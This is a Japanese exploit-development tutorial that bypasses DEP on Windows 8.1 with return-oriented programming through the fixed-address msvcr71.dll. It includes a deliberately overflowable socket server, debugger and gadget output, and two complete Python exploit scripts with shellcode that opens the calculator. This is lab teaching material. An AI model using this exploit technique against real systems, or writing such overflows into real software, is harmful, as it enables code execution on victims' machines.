Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」では、実行ファイル中でVitrualProtect関数が使われていることを前提にROPを行った。 ここでは、ASLRが無効な古いシステムDLLを利用することにより、VirtualProtect関数を呼び出してみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >cdb -version cdb version 6.3.9600.17298 >powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion" 7.10.3052.4
ASLRが無効なDLLについて調べてみる
ASLRが無効なDLLとしては、Java 6 Runtime(JRE 1.6)などを経由してインストールされるMSVCR71.DLLと、Office 2007/2010に付属するHXDS.DLLの二つが広く知られている。 そこで、MSVCR71.DLLがインストールされていることを前提とし、これを読み込むプログラムコードを書いてみる。
/* test.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> int main(int argc, char *argv[]) { HMODULE hmod; char buf[100]; hmod = LoadLibrary("MSVCR71"); read(0, buf, sizeof(buf)); return 0; }
コンパイルし、デバッガのもとでPEヘッダ情報とImport Address Tableを調べてみる。
>cl test.c >cdb test.exe (snip) (834.14ac): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=32b70000 edx=00000000 esi=7e2fe000 edi=00000000 eip=77d83bed esp=0040f34c ebp=0040f378 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77d83bed cc int 3 0:000> g ModLoad: 7c340000 7c396000 C:\WINDOWS\SysWOW64\MSVCR71.DLL [Ctrl+C] eax=00000000 ebx=77dcf820 ecx=00000000 edx=00000000 esi=00000000 edi=005f896c eip=77d0c73c esp=0040f654 ebp=0040f724 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!NtTerminateProcess+0xc: 77d0c73c c20800 ret 8 0:000> !dh 7c340000 -f (snip) 7c340000 image base (snip) 3A000 [ 26C] address [size] of Import Address Table Directory (snip) 0:000> dps 7c340000+3A000 7c340000+3A000+26c (snip) 7c37a094 767c8b90 KERNEL32!VirtualAllocStub (snip) 7c37a140 767c8ab0 KERNEL32!VirtualProtectStub (snip) 0:000> q quit:
上の結果から、MSVCR71.dllは常に0x7c340000にロードされることがわかる。 また、Import Address Table内の0x7c37a140にVirtualProtect関数へのポインタが配置されることがわかる。
脆弱性のあるプログラムを書いてみる
「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
上のコードでは、プログラム中にてVirtualProtect関数が使われていないことに留意する。
ASLR、stack canary(/GS)を無効にし、DEPが有効となる設定でコンパイルする。
>cl bof.c /GS- /link /dynamicbase:no
生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。
$ nc localhost 4444 foo
>bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0
正常に実行できていることが確認できる。
Import Address Tableを調べてみる
MSVCR71.dllを動的にロードするには、LoadLibrary系の関数を呼び出す必要がある。 そこで、デバッガから上のプログラムを実行し、Import Address Tableの内容を調べてみる。
>cdb bof.exe (snip) (1340.46c): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=a4790000 edx=00000000 esi=7ffde000 edi=00000000 eip=77d83bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77d83bed cc int 3 0:000> !dh 00400000 -f (snip) 00400000 image base (snip) D000 [ 11C] address [size] of Import Address Table Directory 0:000> dps 00400000+d000 00400000+d000+11c (snip) 0040d0cc 767ca720 KERNEL32!LoadLibraryExWStub (snip)
上の結果より、0x0040d0ccにLoadLibraryExW関数へのポインタが配置されることがわかる。
さらに、LoadLibraryExW関数の内容について調べてみると次のようになる。
0:000> u kernel32!LoadLibraryExWStub KERNEL32!LoadLibraryExWStub: 767ca720 8bff mov edi,edi 767ca722 55 push ebp 767ca723 8bec mov ebp,esp 767ca725 5d pop ebp 767ca726 ff2510058376 jmp dword ptr [KERNEL32!_imp__LoadLibraryExW (76830 510)] 767ca72c cc int 3 767ca72d cc int 3 767ca72e cc int 3 0:000> u poi(kernel32!_imp__LoadLibraryExW) KERNELBASE!LoadLibraryExW: 77ae30b0 8bff mov edi,edi 77ae30b2 55 push ebp 77ae30b3 8bec mov ebp,esp 77ae30b5 83e4f8 and esp,0FFFFFFF8h 77ae30b8 83ec1c sub esp,1Ch 77ae30bb 837d0800 cmp dword ptr [ebp+8],0 77ae30bf 53 push ebx 77ae30c0 56 push esi 0:000> u 0:000> u 0:000> u 0:000> u 0:000> u 0:000> u 0:000> u 0:000> u KERNELBASE!LoadLibraryExW+0xe4: 77ae318a c20c00 ret 0Ch 77ae318d 90 nop 77ae318e 90 nop 77ae318f 90 nop 77ae3190 90 nop 77ae3191 90 nop 77ae3192 90 nop 77ae3193 90 nop 0:000> q quit:
上の結果においてret 0Ch
となっていることから、LoadLibraryExW関数からリターンする際はスタックポインタが3ワード分進められることがわかる。
LoadLibraryExW関数の引数は3個であり、この数はスタックに積まれる引数の個数に対応している。
ROP gadgetを探してみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」と同様に、rp++を使い必要なROP gadgetを探してみる。
$ ./rp-win-x64.exe --file=bof.exe --rop=1 --unique > gadgets.txt $ grep ": jmp" gadgets.txt 0x004022b7: jmp dword [eax] ; (3 found) 0x0040b56d: jmp dword [ebx] ; (2 found) 0x004056c1: jmp dword [ecx] ; (2 found) $ grep ": pop" gadgets.txt 0x00401037: pop ebp ; ret ; (191 found) 0x004054be: pop ebx ; ret ; (3 found) 0x004011e2: pop ecx ; ret ; (30 found) 0x00404129: pop edi ; ret ; (19 found) 0x00401654: pop esi ; ret ; (17 found) 0x00408004: pop esp ; ret ; (1 found) $ grep ": ret" gadgets.txt 0x00401038: ret ; (416 found)
上の結果より、pop ecx
でecxにポインタのアドレスをセットした後jmp dword [ecx]
を実行することで、ポインタが指す関数を呼び出せることがわかる。
エクスプロイトコードを書いてみる
以上の内容をもとに、MSVCR71.dllを読み込みVirtualProtect関数を実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import socket import struct addr_buf = 0x0018FBF0 addr_pop_ecx = 0x004011e2 # 0x004011e2: pop ecx ; ret ; (30 found) addr_jmp_ptr_ecx = 0x004056c1 # 0x004056c1: jmp dword [ecx] ; (2 found) addr_ret = 0x00401038 # 0x00401038: ret ; (416 found) iat_loadlibraryexw = 0x0040d0cc # 0040d0cc 767ca720 KERNEL32!LoadLibraryExWStub iat_virtualprotect = 0x7c37a140 # 7c37a140 767c8ab0 KERNEL32!VirtualProtectStub [MSVCR71.dll] bufsize = 400 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' def wchar(s): return ''.join(c+'\x00' for c in s) buf = wchar('MSVCR71\x00') buf += 'A' * (bufsize-len(buf)) buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_pop_ecx) # retaddr buf += struct.pack('<I', iat_loadlibraryexw) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to LoadLibraryExW() -> ret 0Ch buf += struct.pack('<I', addr_ret) buf += struct.pack('<I', addr_buf) # lpFileName buf += struct.pack('<I', 0) # hFile buf += struct.pack('<I', 0) # dwFlags buf += struct.pack('<I', addr_pop_ecx) buf += struct.pack('<I', iat_virtualprotect) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to VirtualProtect() buf += struct.pack('<I', addr_buf+bufsize+4*16) buf += struct.pack('<I', addr_buf) # lpAddress buf += struct.pack('<I', 1024) # dwSize buf += struct.pack('<I', 0x40) # flNewProtect = PAGE_EXECUTE_READWRITE buf += struct.pack('<I', addr_buf) # lpflOldProtect buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
上のコードの内容を簡単にまとめると次のようになる。
LoadLibraryExW(L("MSVCR71"), NULL, 0)
を実行し、MSVCR71.dllを読み込む- MSVCR71.dll内にあるポインタを使い、VirtualProtect関数を呼び出す
- シェルコードを実行する
LoadLibraryExW関数はsuffixのW
が表すように引数としてワイド文字(UTF-16LE)の文字列リテラルを受け取るため、上のコードではwchar関数にてワイド文字を生成している。
bof.exeを起動し、エクスプロイトコードを実行してみる。
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。
Sayonara Universal ASLR + DEP bypass
上ではmsvcr71.dllのうちVirtualProtect関数へのポインタのみをROPに利用したが、msvcr71.dll内のgadgetだけを使ってROPシーケンスを構築することも可能である。 このように構築されたROPシーケンスとして、Sayonara ROP chainと呼ばれるものが知られている。 かつてJava 6プラグインがインストールされたWebブラウザでは、このROPシーケンスを実行することで無条件でシェルコードの実行が可能であった。
VirtualAlloc関数を使ってみる
実行可能メモリを確保する関数には、VirtualProtect関数のほかにVirtualAlloc関数がある。
VirtualAlloc関数は本来新たなメモリ領域を確保する関数であるが、flAllocationType
にMEM_COMMIT
(0x1000)を指定することですでに確保されているメモリの実行属性のみを変更することが可能である。
また、VirtualProtect関数の場合書き込み可能なアドレスをlpflOldProtect
に指定する必要があるが、VirtualAlloc関数ではその必要はない。
VirtualAlloc関数を利用するエクスプロイトコードを書くと次のようになる。
# exploit2.py import socket import struct addr_buf = 0x0018FBF0 addr_pop_ecx = 0x004011e2 # 0x004011e2: pop ecx ; ret ; (30 found) addr_jmp_ptr_ecx = 0x004056c1 # 0x004056c1: jmp dword [ecx] ; (2 found) addr_ret = 0x00401038 # 0x00401038: ret ; (416 found) iat_loadlibraryexw = 0x0040d0cc # 0040d0cc 767ca720 KERNEL32!LoadLibraryExWStub iat_virtualalloc = 0x7c37a094 # 7c37a094 767c8b90 KERNEL32!VirtualAllocStub [MSVCR71.dll] bufsize = 400 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' def wchar(s): return ''.join(c+'\x00' for c in s) buf = wchar('MSVCR71\x00') buf += 'A' * (bufsize-len(buf)) buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_pop_ecx) # retaddr buf += struct.pack('<I', iat_loadlibraryexw) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to LoadLibraryExW() -> ret 0Ch buf += struct.pack('<I', addr_ret) buf += struct.pack('<I', addr_buf) # lpFileName buf += struct.pack('<I', 0) # hFile buf += struct.pack('<I', 0) # dwFlags buf += struct.pack('<I', addr_pop_ecx) buf += struct.pack('<I', iat_virtualalloc) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to VirtualAlloc() buf += struct.pack('<I', addr_buf+bufsize+4*16) buf += struct.pack('<I', addr_buf) # lpAddress buf += struct.pack('<I', 1024) # dwSize buf += struct.pack('<I', 0x1000) # flAllocationType = MEM_COMMIT buf += struct.pack('<I', 0x40) # flNewProtect = PAGE_EXECUTE_READWRITE buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
bof.exeを起動し、エクスプロイトコードを実行してみる。
$ python exploit2.py
VirtualProtect関数の場合と同じく、シェルコードが実行され、電卓が起動することが確認できる。
関連リンク
- Windows PowerShellでファイルのバージョンを確認する - ワテのブログ
- ASLR Bypass Apocalypse in Recent Zero-Day Exploits « Threat Research | FireEye Inc
- Bypassing Microsoft Windows ASLR with a little help by MS-Help | GreyHatHacker.NET
- Anatomy of an exploit – inside the CVE-2013-3893 Internet Explorer zero-day – Part 1 | Naked Security
- When ASLR makes the difference - Security Research & Defense - Site Home - TechNet Blogs
- Corelan ROPdb | Corelan Team
- FuzzySecurity | ExploitDev: Part 7: Return Oriented Programming